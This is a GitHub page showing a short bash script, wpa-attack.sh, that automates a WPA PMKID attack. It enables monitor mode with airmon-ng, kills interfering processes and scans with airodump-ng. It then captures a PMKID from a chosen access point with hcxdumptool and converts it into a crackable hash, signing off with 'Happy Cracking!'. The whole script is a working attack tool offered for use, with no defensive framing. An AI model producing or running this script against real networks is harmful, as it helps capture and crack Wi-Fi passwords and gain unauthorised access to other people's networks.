-
Notifications
You must be signed in to change notification settings - Fork 2
/
wpa-attack.sh
36 lines (21 loc) · 695 Bytes
/
wpa-attack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
## CONSTANTS - Change if applicable ##
interfaceName="wlan0"
# Check for permissions
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
cd
airmon-ng start $interfaceName
airmon-ng check kill
monInterfaceName=$interfaceName"mon"
sh -c "(sleep 15; killall 'airodump-ng') & exec airodump-ng $monInterfaceName"
read -p "Enter Station MAC address (no colons): " stationMAC
echo $stationMAC > filter.txt
hcxdumptool -o hashedPMKID -i $monInterfaceName --enable_status=1 --filtermode=2 --filterlist=filter.txt | grep -m 1 "FOUND PMKID CLIENT-LESS"
hcxpcaptool -z finalHash hashedPMKID
echo $'\n'
cat finalHash
echo $'\n'
echo "Happy Cracking!"